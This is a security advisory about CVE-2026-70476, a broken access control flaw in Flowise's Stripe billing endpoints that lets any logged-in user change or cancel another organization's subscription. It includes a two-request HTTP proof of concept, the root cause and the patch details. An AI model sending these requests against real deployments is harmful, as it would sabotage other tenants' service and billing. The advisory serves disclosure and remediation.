highCVE-2026-70476Aug 4, 2026

CVE-2026-70476: Flowise Broken Access Control in Stripe Billing Endpoints

Rohit Hatagale
AI Security Researcher, SecureLayer7

Any authenticated Flowise user can change or cancel another organization's paid Stripe subscription by simply swapping the subscription ID in a billing API request.

Packageflowise
Ecosystemnpm
Affected<= 3.1.2
Fixed in3.1.3
CVE-2026-70476: Flowise Broken Access Control in Stripe Billing Endpoints

The problem

Two enterprise billing endpoints, POST /api/v1/organization/update-subscription-plan and POST /api/v1/organization/update-additional-seats, accept a subscriptionId directly from the request body and forward it to Stripe without checking that the ID belongs to the caller's organization.

Because no ownership check exists, any authenticated user who can discover another tenant's Stripe subscription ID (via the organization read endpoint or other exposed references) can manipulate that tenant's billing. Consequences range from unauthorized plan downgrades that kill access, to seat-count changes that trigger unexpected charges.

Proof of concept

A working proof-of-concept for CVE-2026-70476 in flowise, with the exact payload below.

http
POST /api/v1/organization/update-subscription-plan HTTP/1.1
Host: target.example.com
Cookie: token=<attacker-session>
Content-Type: application/json

{
  "subscriptionId": "sub_YYYYYYYYYYYY",
  "newPlanId": "free_plan_id",
  "prorationDate": 1735689600
}

---

POST /api/v1/organization/update-additional-seats HTTP/1.1
Host: target.example.com
Cookie: token=<attacker-session>
Content-Type: application/json

{
  "subscriptionId": "sub_YYYYYYYYYYYY",
  "quantity": 0,
  "prorationDate": 1735689600
}

Both controller methods destructure subscriptionId straight from req.body and pass it to identityManager without ever consulting req.user.activeOrganization. This is a textbook IDOR / Authorization Bypass Through User-Controlled Key (CWE-639 / CWE-284): the server confuses a client-supplied identifier for an authenticated, scoped resource reference.

The patch (commit 4d7899d, PR #6321) resolves the subscription from the server-side organization context first, so the attacker-supplied ID is never used for the Stripe call. The fix also adds an explicit ownership assertion before any mutation is performed.

The fix

Upgrade Flowise to version 3.1.3. The fix is in commit 4d7899d02ca370a5510406be5c91483085a412f9 (PR #6321). If you cannot upgrade immediately, block unauthenticated or cross-tenant access to /api/v1/organization/update-subscription-plan and /api/v1/organization/update-additional-seats at your reverse proxy until the patch is applied.

Reporter not attributed.

References: [1][2][3][4][5]

Related research